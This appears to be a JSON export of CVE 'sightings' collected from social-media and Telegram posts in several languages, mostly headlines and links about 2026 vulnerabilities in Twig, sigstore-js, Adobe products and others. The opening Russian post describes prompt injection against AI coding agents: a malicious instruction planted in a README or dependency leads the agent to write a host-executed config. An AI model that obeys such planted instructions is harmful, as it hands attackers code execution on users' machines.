\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u0432 README \u0438\u043b\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0442\u043e\u0431\u044b \u0430\u0433\u0435\u043d\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043a\u043e\u043d\u0444\u0438\u0433, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0436\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0441\u044f \u043d\u0430 \u0445\u043e\u0441\u0442\u0435.\n\n\u0412 Cursor \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48124 \u0447\u0435\u0440\u0435\u0437 .claude hook \u0443\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 3.0.0. \u0412 Codex CLI \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0439 git show, \u0430 \u043e\u0431\u0449\u0438\u0439 \u0434\u043b\u044f \u0442\u0440\u0451\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Docker-\u0441\u043e\u043a\u0435\u0442\u0443 \u0443\u0441\u0442\u0440\u0430\u043d\u0451\u043d. Google \u0436\u0435 \u043f\u043e\u043d\u0438\u0437\u0438\u043b \u0441\u0442\u0430\u0442\u0443\u0441 \u0434\u0432\u0443\u0445 \u0431\u0430\u0433\u043e\u0432 Antigravity \u0434\u043e \u00ab\u043f\u0440\u043e\u0447\u0438\u0445\u00bb, \u0441\u043e\u0447\u0442\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0441\u043b\u043e\u0436\u043d\u043e\u0439.\n\n\u0417\u0430\u0449\u0438\u0442\u0430 \u0431\u0435\u0441\u0441\u0438\u043b\u044c\u043d\u0430 \u043f\u0440\u043e\u0442\u0438\u0432 \u043f\u043e\u0441\u043b\u0443\u0448\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438\n\nJoin our club Cult \ud83d\udc41", "creation_timestamp": "2026-07-26T02:02:55.138565Z"}, {"uuid": "403317a1-af0b-417e-b048-d1dddcc5eaa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48021", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrjkmey7jg2i", "content": "CVE-2026-48021\nPrior to version 2026-05-20, epa4all had a security weakness that allowed an attacker to intercept sensitive data and inject malicious requests. This could have allowed an attacker to read and modify\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-26T04:36:04.109541Z"}, {"uuid": "496cc252-37c2-45c1-8ca4-b36c01ad12df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48021", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrm5yz6suo25", "content": "Top 3 CVE for last 7 days:\nCVE-2026-63030: 46 interactions\nCVE-2026-50522: 42 interactions\nCVE-2026-60137: 37 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-42945: 3 interactions\nCVE-2026-45755: 2 interactions\nCVE-2026-48021: 2 interactions\n", "creation_timestamp": "2026-07-27T05:28:28.807769Z"}, {"uuid": "7272b9db-ef98-4c1d-b40c-8a5cf9b51208", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48808", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrmk4bvxed23", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48808 \u0432 Twig: \u043e\u0431\u0445\u043e\u0434 \u0431\u0435\u043b\u043e\u0433\u043e \u0441\u043f\u0438\u0441\u043a\u0430 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u0447\u0435\u0440\u0435\u0437 \u0444\u0438\u043b\u044c\u0442\u0440 column\n\n\n\nhttps://kripta.biz/posts/001CC923-60E4-4CB0-8ED1-219CF5A6ACE9", "creation_timestamp": "2026-07-27T09:05:03.114771Z"}, {"uuid": "99a20a66-5282-4f8d-89f2-89edb0fb668b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48807", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrmka5qezn2y", "content": "\u05ea\u05e7\u05dc\u05d4 \u05e7\u05e9\u05d4 \u05d1\u05d8\u05d5\u05d5\u05d9\u05d2: \u05d3\u05e8\u05db\u05d9 \u05d4\u05ea\u05de\u05d5\u05d3\u05d3\u05d5\u05ea \u05e2\u05dd CVE-2026-48807\n\n\n\nhttps://khesef.xyz/posts/95F2D313-9905-46AA-B0D7-BE1C24E73810", "creation_timestamp": "2026-07-27T09:07:12.846881Z"}, {"uuid": "8bc99821-f51f-49b3-8558-d39858610f40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48807", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrmka5xhox2a", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48807 \u0432 Twig: \u043e\u0431\u0445\u043e\u0434 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0447\u0435\u0440\u0435\u0437 Traversable \u0432 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0445 join \u0438 replace\n\n\n\nhttps://kripta.biz/posts/A06AD619-AE3F-4D4E-A64A-6D7D5390227E", "creation_timestamp": "2026-07-27T09:07:14.027094Z"}, {"uuid": "53ba45e2-1a1a-4042-a361-5c0bb1f45a47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48805", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrmkayzskf2f", "content": "\u05ea\u05e7\u05dc\u05d4 \u05d7\u05de\u05d5\u05e8\u05d4 \u05d1\u05d8\u05d5\u05d5\u05d9\u05d2: CVE-2026-48805 - \u05d3\u05d9\u05dc\u05d5\u05dc \u05d0\u05d1\u05d8\u05d7\u05d4 \u05d1\u05e1\u05d1\u05d9\u05d1\u05ea \u05e1\u05e0\u05d3\u05d1\u05d5\u05e7\u05e1\n\n\n\nhttps://khesef.xyz/posts/722A06AC-C907-4881-9A0B-AA4F43394DEF", "creation_timestamp": "2026-07-27T09:07:41.645357Z"}, {"uuid": "ce7590bb-77d4-425f-95df-b53b5013564a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48816", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrlv6kpck723", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48816 \u0432 sigstore-js: \u0440\u0438\u0441\u043a\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/F5CBFF47-008B-4996-868E-47F0B9AA1015", "creation_timestamp": "2026-07-27T02:50:30.908357Z"}, {"uuid": "808b2c99-4225-4f9d-979d-d6c6b3257df3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48816", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrlvhgrope2o", "content": "\u05d7\u05e9\u05d9\u05e4\u05ea \u05e4\u05d2\u05d9\u05e2\u05d4 \u05e7\u05e9\u05d4 \u05d1sigstore-js: \u05db\u05d9\u05e6\u05d3 \u05e4\u05d2\u05d9\u05e2\u05d4 \u05d1-CVE-2026-48816 \u05de\u05e1\u05db\u05e0\u05ea \u05d0\u05ea \u05d4\u05d0\u05de\u05d9\u05e0\u05d5\u05ea \u05e9\u05dc \u05e0\u05ea\u05d5\u05e0\u05d9\u05dd\n\n\n\nhttps://khesef.xyz/posts/3705887F-ED10-453A-9A99-3120F403443B", "creation_timestamp": "2026-07-27T02:55:29.256789Z"}, {"uuid": "b915c67c-db65-416b-ad19-cdfc75224b4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48805", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrmkazjoto2m", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48805 \u0432 Twig: \u043a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0442 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b\n\n\n\nhttps://kripta.biz/posts/5C7D9808-21C9-485C-9E6B-D17BC630E55E", "creation_timestamp": "2026-07-27T09:07:42.146064Z"}, {"uuid": "c0fcdda0-b03f-4d5d-982e-fa4849da1ee8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48801", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrlvi6cvvj27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48801 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 linkify-it: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/1CB8F1E9-BFBE-47F5-A931-8958E218318E", "creation_timestamp": "2026-07-27T02:55:53.550557Z"}, {"uuid": "f33ea86c-9491-42f1-8dc4-ddbc7aeada99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48354", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrmi5p2yhe27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48354 \u0432 CAI Content Credentials: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0446\u0435\u043b\u044b\u0445 \u0447\u0438\u0441\u0435\u043b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/39FDD250-F3A6-4183-BDC1-176E7B960750", "creation_timestamp": "2026-07-27T08:30:03.924324Z"}, {"uuid": "81521fe2-4c68-4e1e-8680-3add888ccf72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48353", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrmizvg3wy2h", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48353: \u0440\u0438\u0441\u043a\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 Improper Input Validation\n\n\n\nhttps://kripta.biz/posts/0737C6D0-08E8-4C97-AC1E-D8C9E318CDE4", "creation_timestamp": "2026-07-27T08:45:49.225990Z"}, {"uuid": "d0924e54-aac0-47b8-a81c-2993e7efa759", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48353", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrmizxp2vn2y", "content": "\u05d7\u05e9\u05d9\u05e4\u05ea \u05e4\u05d2\u05d9\u05e2\u05d5\u05ea \u05e7\u05e9\u05d4: CVE-2026-48353 - \u05e4\u05d2\u05d9\u05e2\u05d5\u05ea \u05d1\u05d0\u05d9\u05de\u05d5\u05ea \u05ea\u05d5\u05db\u05df CAI\n\n\n\nhttps://khesef.xyz/posts/53BEBCCD-E21A-40BB-820E-2F5DCA6A1F9B", "creation_timestamp": "2026-07-27T08:45:51.430673Z"}, {"uuid": "50a6fa12-f024-42c8-b5bb-00b5378f0ac8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48758", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrlwq6g4by2n", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48758 \u0432 sigstore-js: \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438 \u0442\u0438\u043f\u0430 DSSE\n\n\n\nhttps://kripta.biz/posts/60600EC7-7054-474B-812B-670280D8B257", "creation_timestamp": "2026-07-27T03:18:15.507470Z"}, {"uuid": "2cf016c1-857e-4c4c-9716-56f3929c6651", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48343", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrlwrn7sab2m", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48343 \u0432 Adobe Bridge: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438\u0437-\u0437\u0430 \u0432\u043d\u0435 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u0438\n\n\n\nhttps://kripta.biz/posts/07D9AD21-2A8E-48E5-8ECC-7755C8F71371", "creation_timestamp": "2026-07-27T03:19:04.934852Z"}, {"uuid": "51da75b9-27a6-4c11-b222-a7f7beaedbe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48343", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrlwrw5bjt2y", "content": "\u05e4\u05d2\u05d9\u05e2\u05d5\u05ea CVE-2026-48343: \u05db\u05ea\u05d9\u05d1\u05d4 \u05de\u05d7\u05d5\u05e5 \u05dc\u05d2\u05d1\u05d5\u05dc\u05d5\u05ea (CWE-787) \u05d1-Bridge - \u05de\u05d4 \u05d6\u05d4 \u05d0\u05d5\u05de\u05e8 \u05dc\u05da?\n\n\n\nhttps://khesef.xyz/posts/FAEE7E8F-B4C4-45CF-BF9F-A3229375E2BE", "creation_timestamp": "2026-07-27T03:19:14.776713Z"}, {"uuid": "abf960ed-7c0c-41cc-a1fa-d975fcbb64aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48815", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrlx6bpkba2n", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48815 \u0432 sigstore-js: \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\n\n\n\nhttps://kripta.biz/posts/5675961A-20D3-409A-87EF-B86F8337B5C1", "creation_timestamp": "2026-07-27T03:26:27.407311Z"}, {"uuid": "f1df1645-8984-4362-9188-bc734910f2bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48370", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrlx7ion5323", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48370 \u0432 Adobe Media Encoder: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438\u0437-\u0437\u0430 \u0432\u043d\u0435\u043c\u0430\u0441\u0441\u0438\u0432\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438\n\n\n\nhttps://kripta.biz/posts/A4C63E4E-E539-47DE-9A22-254DB29EF4C5", "creation_timestamp": "2026-07-27T03:26:49.829794Z"}, {"uuid": "116f15a6-1bd4-485d-930b-6e9e1ab977de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48369", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrlxai5myw2u", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48369 \u0432 Adobe Premiere Pro: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438\u0437-\u0437\u0430 \u0432\u043d\u0435 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u0438\n\n\n\nhttps://kripta.biz/posts/65AD055B-931F-4DD6-912B-28169BB18E90", "creation_timestamp": "2026-07-27T03:27:22.759081Z"}, {"uuid": "8cd5f4e9-48a8-4c8d-95d5-880920c89490", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48369", "type": "seen", "source": "https://bsky.app/profile/qiancx.bsky.social/post/3mrlxajqsw32s", "content": "Adobe Premiere Pro \u5b89\u5168\u6f0f\u6d1e CVE-2026-48369 \u6df1\u5ea6\u5206\u6790:\u5982\u4f55\u4fdd\u62a4\u60a8\u7684\u89c6\u9891\u7f16\u8f91\u5de5\u4f5c\u6d41\n\n\n\nhttps://qian.cx/posts/8B27B219-F210-4210-BD69-DF80A4ABC878", "creation_timestamp": "2026-07-27T03:27:24.539560Z"}, {"uuid": "8da39721-1aee-447a-843e-b526e10b3610", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48369", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrly3qgnyh2p", "content": "\u05e4\u05d2\u05d9\u05e2\u05d5\u05ea \u05e7\u05e9\u05d4 \u05d1\u05e4\u05e8\u05de\u05d9\u05d9\u05e8 \u05e4\u05e8\u05d5: CVE-2026-48369 - \u05db\u05ea\u05d9\u05d1\u05d4 \u05de\u05d7\u05d5\u05e5 \u05dc\u05d2\u05d1\u05d5\u05dc\u05d5\u05ea (CWE-787) \u05d5\u05d4\u05e1\u05d9\u05db\u05d5\u05e0\u05d9\u05dd \u05e9\u05d1\u05d0\u05d9\u05dd \u05e2\u05de\u05d4\n\n\n\nhttps://khesef.xyz/posts/C38934CF-C05C-4448-A723-CC7DC726C372", "creation_timestamp": "2026-07-27T03:42:37.638274Z"}, {"uuid": "6b7917ca-749d-48b5-9e61-e04c97e6bbde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48366", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrly4c3mvq2u", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48366 \u0432 Adobe Media Encoder: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438\u0437-\u0437\u0430 \u0432\u043d\u0435 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u0438\n\n\n\nhttps://kripta.biz/posts/F892812D-83D9-4F5F-B987-2064F6C99862", "creation_timestamp": "2026-07-27T03:42:55.932378Z"}, {"uuid": "871c8b83-a892-4a84-b069-1836ad26124a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48344", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrly5iofeh23", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48344 \u0432 Creative Cloud Desktop: \u0430\u043d\u0430\u043b\u0438\u0437 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/51E4109D-6D57-4BBC-9782-0D4CE99BA703", "creation_timestamp": "2026-07-27T03:43:36.813222Z"}, {"uuid": "83e20dac-8a6b-4a39-b77e-7bfc7bd304c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48367", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrlyhhwilc2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48367 \u0432 Adobe After Effects: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438\u0437-\u0437\u0430 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u0433\u0440\u0430\u043d\u0438\u0446 \u0437\u0430\u043f\u0438\u0441\u0438\n\n\n\nhttps://kripta.biz/posts/56A98E70-62C2-4D8F-AFC9-362472CC8271", "creation_timestamp": "2026-07-27T03:49:11.137148Z"}, {"uuid": "d49df6c1-8b9c-474d-8ecc-1dc0801f5b52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48367", "type": "seen", "source": "https://bsky.app/profile/qiancx.bsky.social/post/3mrlyhrnjtl2c", "content": "Adobe After Effects \u5b89\u5168\u6f0f\u6d1e CVE-2026-48367 \u6df1\u5ea6\u89e3\u6790:\u5982\u4f55\u9632\u8303\u51fa\u754c\u5199\u5165\u98ce\u9669\n\n\n\nhttps://qian.cx/posts/C4A10CA9-C222-48D8-BA18-2BEED95CD316", "creation_timestamp": "2026-07-27T03:49:21.640594Z"}, {"uuid": "a1bf2565-64ee-4b6e-a2a7-d088079b76b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48367", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrlyibc6272j", "content": "\u05d7\u05e9\u05d9\u05e4\u05d4: \u05e4\u05d2\u05d9\u05e2\u05d4 \u05d7\u05de\u05d5\u05e8\u05d4 \u05d1\u05d0\u05d3\u05d5\u05d1\u05d9 \u05d0\u05e4\u05e8 \u05d0\u05e4\u05e7\u05d8\u05e1 - CVE-2026-48367\n\n\n\nhttps://khesef.xyz/posts/B82A0359-25F7-49F2-990C-64D7E8FDD12F", "creation_timestamp": "2026-07-27T03:49:38.252686Z"}, {"uuid": "4e4da4c7-69b9-440b-a870-61fc5d3e81e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48342", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrlyj2kfki2u", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48342 \u0432 Adobe Bridge: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0446\u0435\u043b\u044b\u0445 \u0447\u0438\u0441\u0435\u043b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/EB5B676F-8264-4BEF-854B-BD4F3F2643DA", "creation_timestamp": "2026-07-27T03:50:04.381352Z"}, {"uuid": "0e4d557c-429d-4785-95fd-d435de813177", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48342", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrlyj4krkw2l", "content": "\u05ea\u05e7\u05dc\u05d4 \u05e7\u05e9\u05d4 \u05d1\u05d1\u05e8\u05d9\u05d9\u05d3\u05d2' \u05e9\u05dc \u05d0\u05d3\u05d5\u05d1\u05d9: CVE-2026-48342 - \u05d0\u05d9\u05da \u05dc\u05d4\u05d2\u05df \u05e2\u05dc \u05e2\u05e6\u05de\u05da\n\n\n\nhttps://khesef.xyz/posts/6297FAD5-932F-402C-BF5F-00C8DA7EF1AB", "creation_timestamp": "2026-07-27T03:50:06.243727Z"}, {"uuid": "459673e8-1c8c-42f9-8e5e-7785844132b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48341", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrlyjtzhh22f", "content": "\u05d7\u05e9\u05d9\u05e4\u05d4: \u05e4\u05d2\u05d9\u05e2\u05d4 \u05e7\u05e9\u05d4 \u05d1\u05d1\u05e8\u05d9\u05d9\u05d3\u05d2' \u05e9\u05dc \u05d0\u05d3\u05d5\u05d1\u05d9 - CVE-2026-48341 - \u05db\u05ea\u05d9\u05d1\u05ea \u05de\u05d7\u05d5\u05e5 \u05dc\u05d2\u05d1\u05d5\u05dc\u05d5\u05ea (CWE-787)\n\n\n\nhttps://khesef.xyz/posts/C46650E6-31CC-4C2E-99B7-BB7CD493C595", "creation_timestamp": "2026-07-27T03:50:30.859468Z"}, {"uuid": "bf2e80fb-f627-4d18-860a-47a04ffc0795", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48341", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrlyjvup3q2u", "content": "\u0423\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 CVE-2026-48341: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Out-of-bounds Write \u0432 Adobe Bridge \u0438 \u0435\u0451 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/3BEDA4D1-2862-44B5-8819-5ED51C7D0AA3", "creation_timestamp": "2026-07-27T03:50:32.840960Z"}, {"uuid": "54297eb2-7464-407c-8d36-1dacd1b25006", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://t.me/kasperskyb2b/2270", "content": "\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83e\udeb2 APT Awaken Likho/Core Werewolf \u0432\u043e\u043e\u0440\u0443\u0436\u0438\u043b\u0430\u0441\u044c \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c \u043d\u0430 AutoIt, \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u043c \u0447\u0435\u0440\u0435\u0437 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 